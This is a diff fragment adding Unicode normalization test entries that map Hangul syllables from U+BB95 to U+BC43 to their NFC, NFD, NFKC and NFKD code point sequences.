+{ source: [0xBB95], NFC: [0xBB95], NFD: [0x1106, 0x1171, 0x11B4], NFKC: [0xBB95], NFKD: [0x1106, 0x1171, 0x11B4] },
+{ source: [0xBB96], NFC: [0xBB96], NFD: [0x1106, 0x1171, 0x11B5], NFKC: [0xBB96], NFKD: [0x1106, 0x1171, 0x11B5] },
+{ source: [0xBB97], NFC: [0xBB97], NFD: [0x1106, 0x1171, 0x11B6], NFKC: [0xBB97], NFKD: [0x1106, 0x1171, 0x11B6] },
+{ source: [0xBB98], NFC: [0xBB98], NFD: [0x1106, 0x1171, 0x11B7], NFKC: [0xBB98], NFKD: [0x1106, 0x1171, 0x11B7] },
+{ source: [0xBB99], NFC: [0xBB99], NFD: [0x1106, 0x1171, 0x11B8], NFKC: [0xBB99], NFKD: [0x1106, 0x1171, 0x11B8] },
+{ source: [0xBB9A], NFC: [0xBB9A], NFD: [0x1106, 0x1171, 0x11B9], NFKC: [0xBB9A], NFKD: [0x1106, 0x1171, 0x11B9] },
+{ source: [0xBB9B], NFC: [0xBB9B], NFD: [0x1106, 0x1171, 0x11BA], NFKC: [0xBB9B], NFKD: [0x1106, 0x1171, 0x11BA] },
+{ source: [0xBB9C], NFC: [0xBB9C], NFD: [0x1106, 0x1171, 0x11BB], NFKC: [0xBB9C], NFKD: [0x1106, 0x1171, 0x11BB] },
+{ source: [0xBB9D], NFC: [0xBB9D], NFD: [0x1106, 0x1171, 0x11BC], NFKC: [0xBB9D], NFKD: [0x1106, 0x1171, 0x11BC] },
+{ source: [0xBB9E], NFC: [0xBB9E], NFD: [0x1106, 0x1171, 0x11BD], NFKC: [0xBB9E], NFKD: [0x1106, 0x1171, 0x11BD] },
+{ source: [0xBB9F], NFC: [0xBB9F], NFD: [0x1106, 0x1171, 0x11BE], NFKC: [0xBB9F], NFKD: [0x1106, 0x1171, 0x11BE] },
+{ source: [0xBBA0], NFC: [0xBBA0], NFD: [0x1106, 0x1171, 0x11BF], NFKC: [0xBBA0], NFKD: [0x1106, 0x1171, 0x11BF] },
+{ source: [0xBBA1], NFC: [0xBBA1], NFD: [0x1106, 0x1171, 0x11C0], NFKC: [0xBBA1], NFKD: [0x1106, 0x1171, 0x11C0] },
+{ source: [0xBBA2], NFC: [0xBBA2], NFD: [0x1106, 0x1171, 0x11C1], NFKC: [0xBBA2], NFKD: [0x1106, 0x1171, 0x11C1] },
+{ source: [0xBBA3], NFC: [0xBBA3], NFD: [0x1106, 0x1171, 0x11C2], NFKC: [0xBBA3], NFKD: [0x1106, 0x1171, 0x11C2] },
+{ source: [0xBBA4], NFC: [0xBBA4], NFD: [0x1106, 0x1172], NFKC: [0xBBA4], NFKD: [0x1106, 0x1172] },
+{ source: [0xBBA5], NFC: [0xBBA5], NFD: [0x1106, 0x1172, 0x11A8], NFKC: [0xBBA5], NFKD: [0x1106, 0x1172, 0x11A8] },
+{ source: [0xBBA6], NFC: [0xBBA6], NFD: [0x1106, 0x1172, 0x11A9], NFKC: [0xBBA6], NFKD: [0x1106, 0x1172, 0x11A9] },
+{ source: [0xBBA7], NFC: [0xBBA7], NFD: [0x1106, 0x1172, 0x11AA], NFKC: [0xBBA7], NFKD: [0x1106, 0x1172, 0x11AA] },
+{ source: [0xBBA8], NFC: [0xBBA8], NFD: [0x1106, 0x1172, 0x11AB], NFKC: [0xBBA8], NFKD: [0x1106, 0x1172, 0x11AB] },
+{ source: [0xBBA9], NFC: [0xBBA9], NFD: [0x1106, 0x1172, 0x11AC], NFKC: [0xBBA9], NFKD: [0x1106, 0x1172, 0x11AC] },
+{ source: [0xBBAA], NFC: [0xBBAA], NFD: [0x1106, 0x1172, 0x11AD], NFKC: [0xBBAA], NFKD: [0x1106, 0x1172, 0x11AD] },
+{ source: [0xBBAB], NFC: [0xBBAB], NFD: [0x1106, 0x1172, 0x11AE], NFKC: [0xBBAB], NFKD: [0x1106, 0x1172, 0x11AE] },
+{ source: [0xBBAC], NFC: [0xBBAC], NFD: [0x1106, 0x1172, 0x11AF], NFKC: [0xBBAC], NFKD: [0x1106, 0x1172, 0x11AF] },
+{ source: [0xBBAD], NFC: [0xBBAD], NFD: [0x1106, 0x1172, 0x11B0], NFKC: [0xBBAD], NFKD: [0x1106, 0x1172, 0x11B0] },
+{ source: [0xBBAE], NFC: [0xBBAE], NFD: [0x1106, 0x1172, 0x11B1], NFKC: [0xBBAE], NFKD: [0x1106, 0x1172, 0x11B1] },
+{ source: [0xBBAF], NFC: [0xBBAF], NFD: [0x1106, 0x1172, 0x11B2], NFKC: [0xBBAF], NFKD: [0x1106, 0x1172, 0x11B2] },
+{ source: [0xBBB0], NFC: [0xBBB0], NFD: [0x1106, 0x1172, 0x11B3], NFKC: [0xBBB0], NFKD: [0x1106, 0x1172, 0x11B3] },
+{ source: [0xBBB1], NFC: [0xBBB1], NFD: [0x1106, 0x1172, 0x11B4], NFKC: [0xBBB1], NFKD: [0x1106, 0x1172, 0x11B4] },
+{ source: [0xBBB2], NFC: [0xBBB2], NFD: [0x1106, 0x1172, 0x11B5], NFKC: [0xBBB2], NFKD: [0x1106, 0x1172, 0x11B5] },
+{ source: [0xBBB3], NFC: [0xBBB3], NFD: [0x1106, 0x1172, 0x11B6], NFKC: [0xBBB3], NFKD: [0x1106, 0x1172, 0x11B6] },
+{ source: [0xBBB4], NFC: [0xBBB4], NFD: [0x1106, 0x1172, 0x11B7], NFKC: [0xBBB4], NFKD: [0x1106, 0x1172, 0x11B7] },
+{ source: [0xBBB5], NFC: [0xBBB5], NFD: [0x1106, 0x1172, 0x11B8], NFKC: [0xBBB5], NFKD: [0x1106, 0x1172, 0x11B8] },
+{ source: [0xBBB6], NFC: [0xBBB6], NFD: [0x1106, 0x1172, 0x11B9], NFKC: [0xBBB6], NFKD: [0x1106, 0x1172, 0x11B9] },
+{ source: [0xBBB7], NFC: [0xBBB7], NFD: [0x1106, 0x1172, 0x11BA], NFKC: [0xBBB7], NFKD: [0x1106, 0x1172, 0x11BA] },
+{ source: [0xBBB8], NFC: [0xBBB8], NFD: [0x1106, 0x1172, 0x11BB], NFKC: [0xBBB8], NFKD: [0x1106, 0x1172, 0x11BB] },
+{ source: [0xBBB9], NFC: [0xBBB9], NFD: [0x1106, 0x1172, 0x11BC], NFKC: [0xBBB9], NFKD: [0x1106, 0x1172, 0x11BC] },
+{ source: [0xBBBA], NFC: [0xBBBA], NFD: [0x1106, 0x1172, 0x11BD], NFKC: [0xBBBA], NFKD: [0x1106, 0x1172, 0x11BD] },
+{ source: [0xBBBB], NFC: [0xBBBB], NFD: [0x1106, 0x1172, 0x11BE], NFKC: [0xBBBB], NFKD: [0x1106, 0x1172, 0x11BE] },
+{ source: [0xBBBC], NFC: [0xBBBC], NFD: [0x1106, 0x1172, 0x11BF], NFKC: [0xBBBC], NFKD: [0x1106, 0x1172, 0x11BF] },
+{ source: [0xBBBD], NFC: [0xBBBD], NFD: [0x1106, 0x1172, 0x11C0], NFKC: [0xBBBD], NFKD: [0x1106, 0x1172, 0x11C0] },
+{ source: [0xBBBE], NFC: [0xBBBE], NFD: [0x1106, 0x1172, 0x11C1], NFKC: [0xBBBE], NFKD: [0x1106, 0x1172, 0x11C1] },
+{ source: [0xBBBF], NFC: [0xBBBF], NFD: [0x1106, 0x1172, 0x11C2], NFKC: [0xBBBF], NFKD: [0x1106, 0x1172, 0x11C2] },
+{ source: [0xBBC0], NFC: [0xBBC0], NFD: [0x1106, 0x1173], NFKC: [0xBBC0], NFKD: [0x1106, 0x1173] },
+{ source: [0xBBC1], NFC: [0xBBC1], NFD: [0x1106, 0x1173, 0x11A8], NFKC: [0xBBC1], NFKD: [0x1106, 0x1173, 0x11A8] },
+{ source: [0xBBC2], NFC: [0xBBC2], NFD: [0x1106, 0x1173, 0x11A9], NFKC: [0xBBC2], NFKD: [0x1106, 0x1173, 0x11A9] },
+{ source: [0xBBC3], NFC: [0xBBC3], NFD: [0x1106, 0x1173, 0x11AA], NFKC: [0xBBC3], NFKD: [0x1106, 0x1173, 0x11AA] },
+{ source: [0xBBC4], NFC: [0xBBC4], NFD: [0x1106, 0x1173, 0x11AB], NFKC: [0xBBC4], NFKD: [0x1106, 0x1173, 0x11AB] },
+{ source: [0xBBC5], NFC: [0xBBC5], NFD: [0x1106, 0x1173, 0x11AC], NFKC: [0xBBC5], NFKD: [0x1106, 0x1173, 0x11AC] },
+{ source: [0xBBC6], NFC: [0xBBC6], NFD: [0x1106, 0x1173, 0x11AD], NFKC: [0xBBC6], NFKD: [0x1106, 0x1173, 0x11AD] },
+{ source: [0xBBC7], NFC: [0xBBC7], NFD: [0x1106, 0x1173, 0x11AE], NFKC: [0xBBC7], NFKD: [0x1106, 0x1173, 0x11AE] },
+{ source: [0xBBC8], NFC: [0xBBC8], NFD: [0x1106, 0x1173, 0x11AF], NFKC: [0xBBC8], NFKD: [0x1106, 0x1173, 0x11AF] },
+{ source: [0xBBC9], NFC: [0xBBC9], NFD: [0x1106, 0x1173, 0x11B0], NFKC: [0xBBC9], NFKD: [0x1106, 0x1173, 0x11B0] },
+{ source: [0xBBCA], NFC: [0xBBCA], NFD: [0x1106, 0x1173, 0x11B1], NFKC: [0xBBCA], NFKD: [0x1106, 0x1173, 0x11B1] },
+{ source: [0xBBCB], NFC: [0xBBCB], NFD: [0x1106, 0x1173, 0x11B2], NFKC: [0xBBCB], NFKD: [0x1106, 0x1173, 0x11B2] },
+{ source: [0xBBCC], NFC: [0xBBCC], NFD: [0x1106, 0x1173, 0x11B3], NFKC: [0xBBCC], NFKD: [0x1106, 0x1173, 0x11B3] },
+{ source: [0xBBCD], NFC: [0xBBCD], NFD: [0x1106, 0x1173, 0x11B4], NFKC: [0xBBCD], NFKD: [0x1106, 0x1173, 0x11B4] },
+{ source: [0xBBCE], NFC: [0xBBCE], NFD: [0x1106, 0x1173, 0x11B5], NFKC: [0xBBCE], NFKD: [0x1106, 0x1173, 0x11B5] },
+{ source: [0xBBCF], NFC: [0xBBCF], NFD: [0x1106, 0x1173, 0x11B6], NFKC: [0xBBCF], NFKD: [0x1106, 0x1173, 0x11B6] },
+{ source: [0xBBD0], NFC: [0xBBD0], NFD: [0x1106, 0x1173, 0x11B7], NFKC: [0xBBD0], NFKD: [0x1106, 0x1173, 0x11B7] },
+{ source: [0xBBD1], NFC: [0xBBD1], NFD: [0x1106, 0x1173, 0x11B8], NFKC: [0xBBD1], NFKD: [0x1106, 0x1173, 0x11B8] },
+{ source: [0xBBD2], NFC: [0xBBD2], NFD: [0x1106, 0x1173, 0x11B9], NFKC: [0xBBD2], NFKD: [0x1106, 0x1173, 0x11B9] },
+{ source: [0xBBD3], NFC: [0xBBD3], NFD: [0x1106, 0x1173, 0x11BA], NFKC: [0xBBD3], NFKD: [0x1106, 0x1173, 0x11BA] },
+{ source: [0xBBD4], NFC: [0xBBD4], NFD: [0x1106, 0x1173, 0x11BB], NFKC: [0xBBD4], NFKD: [0x1106, 0x1173, 0x11BB] },
+{ source: [0xBBD5], NFC: [0xBBD5], NFD: [0x1106, 0x1173, 0x11BC], NFKC: [0xBBD5], NFKD: [0x1106, 0x1173, 0x11BC] },
+{ source: [0xBBD6], NFC: [0xBBD6], NFD: [0x1106, 0x1173, 0x11BD], NFKC: [0xBBD6], NFKD: [0x1106, 0x1173, 0x11BD] },
+{ source: [0xBBD7], NFC: [0xBBD7], NFD: [0x1106, 0x1173, 0x11BE], NFKC: [0xBBD7], NFKD: [0x1106, 0x1173, 0x11BE] },
+{ source: [0xBBD8], NFC: [0xBBD8], NFD: [0x1106, 0x1173, 0x11BF], NFKC: [0xBBD8], NFKD: [0x1106, 0x1173, 0x11BF] },
+{ source: [0xBBD9], NFC: [0xBBD9], NFD: [0x1106, 0x1173, 0x11C0], NFKC: [0xBBD9], NFKD: [0x1106, 0x1173, 0x11C0] },
+{ source: [0xBBDA], NFC: [0xBBDA], NFD: [0x1106, 0x1173, 0x11C1], NFKC: [0xBBDA], NFKD: [0x1106, 0x1173, 0x11C1] },
+{ source: [0xBBDB], NFC: [0xBBDB], NFD: [0x1106, 0x1173, 0x11C2], NFKC: [0xBBDB], NFKD: [0x1106, 0x1173, 0x11C2] },
+{ source: [0xBBDC], NFC: [0xBBDC], NFD: [0x1106, 0x1174], NFKC: [0xBBDC], NFKD: [0x1106, 0x1174] },
+{ source: [0xBBDD], NFC: [0xBBDD], NFD: [0x1106, 0x1174, 0x11A8], NFKC: [0xBBDD], NFKD: [0x1106, 0x1174, 0x11A8] },
+{ source: [0xBBDE], NFC: [0xBBDE], NFD: [0x1106, 0x1174, 0x11A9], NFKC: [0xBBDE], NFKD: [0x1106, 0x1174, 0x11A9] },
+{ source: [0xBBDF], NFC: [0xBBDF], NFD: [0x1106, 0x1174, 0x11AA], NFKC: [0xBBDF], NFKD: [0x1106, 0x1174, 0x11AA] },
+{ source: [0xBBE0], NFC: [0xBBE0], NFD: [0x1106, 0x1174, 0x11AB], NFKC: [0xBBE0], NFKD: [0x1106, 0x1174, 0x11AB] },
+{ source: [0xBBE1], NFC: [0xBBE1], NFD: [0x1106, 0x1174, 0x11AC], NFKC: [0xBBE1], NFKD: [0x1106, 0x1174, 0x11AC] },
+{ source: [0xBBE2], NFC: [0xBBE2], NFD: [0x1106, 0x1174, 0x11AD], NFKC: [0xBBE2], NFKD: [0x1106, 0x1174, 0x11AD] },
+{ source: [0xBBE3], NFC: [0xBBE3], NFD: [0x1106, 0x1174, 0x11AE], NFKC: [0xBBE3], NFKD: [0x1106, 0x1174, 0x11AE] },
+{ source: [0xBBE4], NFC: [0xBBE4], NFD: [0x1106, 0x1174, 0x11AF], NFKC: [0xBBE4], NFKD: [0x1106, 0x1174, 0x11AF] },
+{ source: [0xBBE5], NFC: [0xBBE5], NFD: [0x1106, 0x1174, 0x11B0], NFKC: [0xBBE5], NFKD: [0x1106, 0x1174, 0x11B0] },
+{ source: [0xBBE6], NFC: [0xBBE6], NFD: [0x1106, 0x1174, 0x11B1], NFKC: [0xBBE6], NFKD: [0x1106, 0x1174, 0x11B1] },
+{ source: [0xBBE7], NFC: [0xBBE7], NFD: [0x1106, 0x1174, 0x11B2], NFKC: [0xBBE7], NFKD: [0x1106, 0x1174, 0x11B2] },
+{ source: [0xBBE8], NFC: [0xBBE8], NFD: [0x1106, 0x1174, 0x11B3], NFKC: [0xBBE8], NFKD: [0x1106, 0x1174, 0x11B3] },
+{ source: [0xBBE9], NFC: [0xBBE9], NFD: [0x1106, 0x1174, 0x11B4], NFKC: [0xBBE9], NFKD: [0x1106, 0x1174, 0x11B4] },
+{ source: [0xBBEA], NFC: [0xBBEA], NFD: [0x1106, 0x1174, 0x11B5], NFKC: [0xBBEA], NFKD: [0x1106, 0x1174, 0x11B5] },
+{ source: [0xBBEB], NFC: [0xBBEB], NFD: [0x1106, 0x1174, 0x11B6], NFKC: [0xBBEB], NFKD: [0x1106, 0x1174, 0x11B6] },
+{ source: [0xBBEC], NFC: [0xBBEC], NFD: [0x1106, 0x1174, 0x11B7], NFKC: [0xBBEC], NFKD: [0x1106, 0x1174, 0x11B7] },
+{ source: [0xBBED], NFC: [0xBBED], NFD: [0x1106, 0x1174, 0x11B8], NFKC: [0xBBED], NFKD: [0x1106, 0x1174, 0x11B8] },
+{ source: [0xBBEE], NFC: [0xBBEE], NFD: [0x1106, 0x1174, 0x11B9], NFKC: [0xBBEE], NFKD: [0x1106, 0x1174, 0x11B9] },
+{ source: [0xBBEF], NFC: [0xBBEF], NFD: [0x1106, 0x1174, 0x11BA], NFKC: [0xBBEF], NFKD: [0x1106, 0x1174, 0x11BA] },
+{ source: [0xBBF0], NFC: [0xBBF0], NFD: [0x1106, 0x1174, 0x11BB], NFKC: [0xBBF0], NFKD: [0x1106, 0x1174, 0x11BB] },
+{ source: [0xBBF1], NFC: [0xBBF1], NFD: [0x1106, 0x1174, 0x11BC], NFKC: [0xBBF1], NFKD: [0x1106, 0x1174, 0x11BC] },
+{ source: [0xBBF2], NFC: [0xBBF2], NFD: [0x1106, 0x1174, 0x11BD], NFKC: [0xBBF2], NFKD: [0x1106, 0x1174, 0x11BD] },
+{ source: [0xBBF3], NFC: [0xBBF3], NFD: [0x1106, 0x1174, 0x11BE], NFKC: [0xBBF3], NFKD: [0x1106, 0x1174, 0x11BE] },
+{ source: [0xBBF4], NFC: [0xBBF4], NFD: [0x1106, 0x1174, 0x11BF], NFKC: [0xBBF4], NFKD: [0x1106, 0x1174, 0x11BF] },
+{ source: [0xBBF5], NFC: [0xBBF5], NFD: [0x1106, 0x1174, 0x11C0], NFKC: [0xBBF5], NFKD: [0x1106, 0x1174, 0x11C0] },
+{ source: [0xBBF6], NFC: [0xBBF6], NFD: [0x1106, 0x1174, 0x11C1], NFKC: [0xBBF6], NFKD: [0x1106, 0x1174, 0x11C1] },
+{ source: [0xBBF7], NFC: [0xBBF7], NFD: [0x1106, 0x1174, 0x11C2], NFKC: [0xBBF7], NFKD: [0x1106, 0x1174, 0x11C2] },
+{ source: [0xBBF8], NFC: [0xBBF8], NFD: [0x1106, 0x1175], NFKC: [0xBBF8], NFKD: [0x1106, 0x1175] },
+{ source: [0xBBF9], NFC: [0xBBF9], NFD: [0x1106, 0x1175, 0x11A8], NFKC: [0xBBF9], NFKD: [0x1106, 0x1175, 0x11A8] },
+{ source: [0xBBFA], NFC: [0xBBFA], NFD: [0x1106, 0x1175, 0x11A9], NFKC: [0xBBFA], NFKD: [0x1106, 0x1175, 0x11A9] },
+{ source: [0xBBFB], NFC: [0xBBFB], NFD: [0x1106, 0x1175, 0x11AA], NFKC: [0xBBFB], NFKD: [0x1106, 0x1175, 0x11AA] },
+{ source: [0xBBFC], NFC: [0xBBFC], NFD: [0x1106, 0x1175, 0x11AB], NFKC: [0xBBFC], NFKD: [0x1106, 0x1175, 0x11AB] },
+{ source: [0xBBFD], NFC: [0xBBFD], NFD: [0x1106, 0x1175, 0x11AC], NFKC: [0xBBFD], NFKD: [0x1106, 0x1175, 0x11AC] },
+{ source: [0xBBFE], NFC: [0xBBFE], NFD: [0x1106, 0x1175, 0x11AD], NFKC: [0xBBFE], NFKD: [0x1106, 0x1175, 0x11AD] },
+{ source: [0xBBFF], NFC: [0xBBFF], NFD: [0x1106, 0x1175, 0x11AE], NFKC: [0xBBFF], NFKD: [0x1106, 0x1175, 0x11AE] },
+{ source: [0xBC00], NFC: [0xBC00], NFD: [0x1106, 0x1175, 0x11AF], NFKC: [0xBC00], NFKD: [0x1106, 0x1175, 0x11AF] },
+{ source: [0xBC01], NFC: [0xBC01], NFD: [0x1106, 0x1175, 0x11B0], NFKC: [0xBC01], NFKD: [0x1106, 0x1175, 0x11B0] },
+{ source: [0xBC02], NFC: [0xBC02], NFD: [0x1106, 0x1175, 0x11B1], NFKC: [0xBC02], NFKD: [0x1106, 0x1175, 0x11B1] },
+{ source: [0xBC03], NFC: [0xBC03], NFD: [0x1106, 0x1175, 0x11B2], NFKC: [0xBC03], NFKD: [0x1106, 0x1175, 0x11B2] },
+{ source: [0xBC04], NFC: [0xBC04], NFD: [0x1106, 0x1175, 0x11B3], NFKC: [0xBC04], NFKD: [0x1106, 0x1175, 0x11B3] },
+{ source: [0xBC05], NFC: [0xBC05], NFD: [0x1106, 0x1175, 0x11B4], NFKC: [0xBC05], NFKD: [0x1106, 0x1175, 0x11B4] },
+{ source: [0xBC06], NFC: [0xBC06], NFD: [0x1106, 0x1175, 0x11B5], NFKC: [0xBC06], NFKD: [0x1106, 0x1175, 0x11B5] },
+{ source: [0xBC07], NFC: [0xBC07], NFD: [0x1106, 0x1175, 0x11B6], NFKC: [0xBC07], NFKD: [0x1106, 0x1175, 0x11B6] },
+{ source: [0xBC08], NFC: [0xBC08], NFD: [0x1106, 0x1175, 0x11B7], NFKC: [0xBC08], NFKD: [0x1106, 0x1175, 0x11B7] },
+{ source: [0xBC09], NFC: [0xBC09], NFD: [0x1106, 0x1175, 0x11B8], NFKC: [0xBC09], NFKD: [0x1106, 0x1175, 0x11B8] },
+{ source: [0xBC0A], NFC: [0xBC0A], NFD: [0x1106, 0x1175, 0x11B9], NFKC: [0xBC0A], NFKD: [0x1106, 0x1175, 0x11B9] },
+{ source: [0xBC0B], NFC: [0xBC0B], NFD: [0x1106, 0x1175, 0x11BA], NFKC: [0xBC0B], NFKD: [0x1106, 0x1175, 0x11BA] },
+{ source: [0xBC0C], NFC: [0xBC0C], NFD: [0x1106, 0x1175, 0x11BB], NFKC: [0xBC0C], NFKD: [0x1106, 0x1175, 0x11BB] },
+{ source: [0xBC0D], NFC: [0xBC0D], NFD: [0x1106, 0x1175, 0x11BC], NFKC: [0xBC0D], NFKD: [0x1106, 0x1175, 0x11BC] },
+{ source: [0xBC0E], NFC: [0xBC0E], NFD: [0x1106, 0x1175, 0x11BD], NFKC: [0xBC0E], NFKD: [0x1106, 0x1175, 0x11BD] },
+{ source: [0xBC0F], NFC: [0xBC0F], NFD: [0x1106, 0x1175, 0x11BE], NFKC: [0xBC0F], NFKD: [0x1106, 0x1175, 0x11BE] },
+{ source: [0xBC10], NFC: [0xBC10], NFD: [0x1106, 0x1175, 0x11BF], NFKC: [0xBC10], NFKD: [0x1106, 0x1175, 0x11BF] },
+{ source: [0xBC11], NFC: [0xBC11], NFD: [0x1106, 0x1175, 0x11C0], NFKC: [0xBC11], NFKD: [0x1106, 0x1175, 0x11C0] },
+{ source: [0xBC12], NFC: [0xBC12], NFD: [0x1106, 0x1175, 0x11C1], NFKC: [0xBC12], NFKD: [0x1106, 0x1175, 0x11C1] },
+{ source: [0xBC13], NFC: [0xBC13], NFD: [0x1106, 0x1175, 0x11C2], NFKC: [0xBC13], NFKD: [0x1106, 0x1175, 0x11C2] },
+{ source: [0xBC14], NFC: [0xBC14], NFD: [0x1107, 0x1161], NFKC: [0xBC14], NFKD: [0x1107, 0x1161] },
+{ source: [0xBC15], NFC: [0xBC15], NFD: [0x1107, 0x1161, 0x11A8], NFKC: [0xBC15], NFKD: [0x1107, 0x1161, 0x11A8] },
+{ source: [0xBC16], NFC: [0xBC16], NFD: [0x1107, 0x1161, 0x11A9], NFKC: [0xBC16], NFKD: [0x1107, 0x1161, 0x11A9] },
+{ source: [0xBC17], NFC: [0xBC17], NFD: [0x1107, 0x1161, 0x11AA], NFKC: [0xBC17], NFKD: [0x1107, 0x1161, 0x11AA] },
+{ source: [0xBC18], NFC: [0xBC18], NFD: [0x1107, 0x1161, 0x11AB], NFKC: [0xBC18], NFKD: [0x1107, 0x1161, 0x11AB] },
+{ source: [0xBC19], NFC: [0xBC19], NFD: [0x1107, 0x1161, 0x11AC], NFKC: [0xBC19], NFKD: [0x1107, 0x1161, 0x11AC] },
+{ source: [0xBC1A], NFC: [0xBC1A], NFD: [0x1107, 0x1161, 0x11AD], NFKC: [0xBC1A], NFKD: [0x1107, 0x1161, 0x11AD] },
+{ source: [0xBC1B], NFC: [0xBC1B], NFD: [0x1107, 0x1161, 0x11AE], NFKC: [0xBC1B], NFKD: [0x1107, 0x1161, 0x11AE] },
+{ source: [0xBC1C], NFC: [0xBC1C], NFD: [0x1107, 0x1161, 0x11AF], NFKC: [0xBC1C], NFKD: [0x1107, 0x1161, 0x11AF] },
+{ source: [0xBC1D], NFC: [0xBC1D], NFD: [0x1107, 0x1161, 0x11B0], NFKC: [0xBC1D], NFKD: [0x1107, 0x1161, 0x11B0] },
+{ source: [0xBC1E], NFC: [0xBC1E], NFD: [0x1107, 0x1161, 0x11B1], NFKC: [0xBC1E], NFKD: [0x1107, 0x1161, 0x11B1] },
+{ source: [0xBC1F], NFC: [0xBC1F], NFD: [0x1107, 0x1161, 0x11B2], NFKC: [0xBC1F], NFKD: [0x1107, 0x1161, 0x11B2] },
+{ source: [0xBC20], NFC: [0xBC20], NFD: [0x1107, 0x1161, 0x11B3], NFKC: [0xBC20], NFKD: [0x1107, 0x1161, 0x11B3] },
+{ source: [0xBC21], NFC: [0xBC21], NFD: [0x1107, 0x1161, 0x11B4], NFKC: [0xBC21], NFKD: [0x1107, 0x1161, 0x11B4] },
+{ source: [0xBC22], NFC: [0xBC22], NFD: [0x1107, 0x1161, 0x11B5], NFKC: [0xBC22], NFKD: [0x1107, 0x1161, 0x11B5] },
+{ source: [0xBC23], NFC: [0xBC23], NFD: [0x1107, 0x1161, 0x11B6], NFKC: [0xBC23], NFKD: [0x1107, 0x1161, 0x11B6] },
+{ source: [0xBC24], NFC: [0xBC24], NFD: [0x1107, 0x1161, 0x11B7], NFKC: [0xBC24], NFKD: [0x1107, 0x1161, 0x11B7] },
+{ source: [0xBC25], NFC: [0xBC25], NFD: [0x1107, 0x1161, 0x11B8], NFKC: [0xBC25], NFKD: [0x1107, 0x1161, 0x11B8] },
+{ source: [0xBC26], NFC: [0xBC26], NFD: [0x1107, 0x1161, 0x11B9], NFKC: [0xBC26], NFKD: [0x1107, 0x1161, 0x11B9] },
+{ source: [0xBC27], NFC: [0xBC27], NFD: [0x1107, 0x1161, 0x11BA], NFKC: [0xBC27], NFKD: [0x1107, 0x1161, 0x11BA] },
+{ source: [0xBC28], NFC: [0xBC28], NFD: [0x1107, 0x1161, 0x11BB], NFKC: [0xBC28], NFKD: [0x1107, 0x1161, 0x11BB] },
+{ source: [0xBC29], NFC: [0xBC29], NFD: [0x1107, 0x1161, 0x11BC], NFKC: [0xBC29], NFKD: [0x1107, 0x1161, 0x11BC] },
+{ source: [0xBC2A], NFC: [0xBC2A], NFD: [0x1107, 0x1161, 0x11BD], NFKC: [0xBC2A], NFKD: [0x1107, 0x1161, 0x11BD] },
+{ source: [0xBC2B], NFC: [0xBC2B], NFD: [0x1107, 0x1161, 0x11BE], NFKC: [0xBC2B], NFKD: [0x1107, 0x1161, 0x11BE] },
+{ source: [0xBC2C], NFC: [0xBC2C], NFD: [0x1107, 0x1161, 0x11BF], NFKC: [0xBC2C], NFKD: [0x1107, 0x1161, 0x11BF] },
+{ source: [0xBC2D], NFC: [0xBC2D], NFD: [0x1107, 0x1161, 0x11C0], NFKC: [0xBC2D], NFKD: [0x1107, 0x1161, 0x11C0] },
+{ source: [0xBC2E], NFC: [0xBC2E], NFD: [0x1107, 0x1161, 0x11C1], NFKC: [0xBC2E], NFKD: [0x1107, 0x1161, 0x11C1] },
+{ source: [0xBC2F], NFC: [0xBC2F], NFD: [0x1107, 0x1161, 0x11C2], NFKC: [0xBC2F], NFKD: [0x1107, 0x1161, 0x11C2] },
+{ source: [0xBC30], NFC: [0xBC30], NFD: [0x1107, 0x1162], NFKC: [0xBC30], NFKD: [0x1107, 0x1162] },
+{ source: [0xBC31], NFC: [0xBC31], NFD: [0x1107, 0x1162, 0x11A8], NFKC: [0xBC31], NFKD: [0x1107, 0x1162, 0x11A8] },
+{ source: [0xBC32], NFC: [0xBC32], NFD: [0x1107, 0x1162, 0x11A9], NFKC: [0xBC32], NFKD: [0x1107, 0x1162, 0x11A9] },
+{ source: [0xBC33], NFC: [0xBC33], NFD: [0x1107, 0x1162, 0x11AA], NFKC: [0xBC33], NFKD: [0x1107, 0x1162, 0x11AA] },
+{ source: [0xBC34], NFC: [0xBC34], NFD: [0x1107, 0x1162, 0x11AB], NFKC: [0xBC34], NFKD: [0x1107, 0x1162, 0x11AB] },
+{ source: [0xBC35], NFC: [0xBC35], NFD: [0x1107, 0x1162, 0x11AC], NFKC: [0xBC35], NFKD: [0x1107, 0x1162, 0x11AC] },
+{ source: [0xBC36], NFC: [0xBC36], NFD: [0x1107, 0x1162, 0x11AD], NFKC: [0xBC36], NFKD: [0x1107, 0x1162, 0x11AD] },
+{ source: [0xBC37], NFC: [0xBC37], NFD: [0x1107, 0x1162, 0x11AE], NFKC: [0xBC37], NFKD: [0x1107, 0x1162, 0x11AE] },
+{ source: [0xBC38], NFC: [0xBC38], NFD: [0x1107, 0x1162, 0x11AF], NFKC: [0xBC38], NFKD: [0x1107, 0x1162, 0x11AF] },
+{ source: [0xBC39], NFC: [0xBC39], NFD: [0x1107, 0x1162, 0x11B0], NFKC: [0xBC39], NFKD: [0x1107, 0x1162, 0x11B0] },
+{ source: [0xBC3A], NFC: [0xBC3A], NFD: [0x1107, 0x1162, 0x11B1], NFKC: [0xBC3A], NFKD: [0x1107, 0x1162, 0x11B1] },
+{ source: [0xBC3B], NFC: [0xBC3B], NFD: [0x1107, 0x1162, 0x11B2], NFKC: [0xBC3B], NFKD: [0x1107, 0x1162, 0x11B2] },
+{ source: [0xBC3C], NFC: [0xBC3C], NFD: [0x1107, 0x1162, 0x11B3], NFKC: [0xBC3C], NFKD: [0x1107, 0x1162, 0x11B3] },
+{ source: [0xBC3D], NFC: [0xBC3D], NFD: [0x1107, 0x1162, 0x11B4], NFKC: [0xBC3D], NFKD: [0x1107, 0x1162, 0x11B4] },
+{ source: [0xBC3E], NFC: [0xBC3E], NFD: [0x1107, 0x1162, 0x11B5], NFKC: [0xBC3E], NFKD: [0x1107, 0x1162, 0x11B5] },
+{ source: [0xBC3F], NFC: [0xBC3F], NFD: [0x1107, 0x1162, 0x11B6], NFKC: [0xBC3F], NFKD: [0x1107, 0x1162, 0x11B6] },
+{ source: [0xBC40], NFC: [0xBC40], NFD: [0x1107, 0x1162, 0x11B7], NFKC: [0xBC40], NFKD: [0x1107, 0x1162, 0x11B7] },
+{ source: [0xBC41], NFC: [0xBC41], NFD: [0x1107, 0x1162, 0x11B8], NFKC: [0xBC41], NFKD: [0x1107, 0x1162, 0x11B8] },
+{ source: [0xBC42], NFC: [0xBC42], NFD: [0x1107, 0x1162, 0x11B9], NFKC: [0xBC42], NFKD: [0x1107, 0x1162, 0x11B9] },
+{ source: [0xBC43], NFC: [0xBC43], NFD: [0x1107, 0x1162, 0x11BA], NFKC: [0xBC43], NFKD: [0x1107, 0x1162, 0x11BA] },
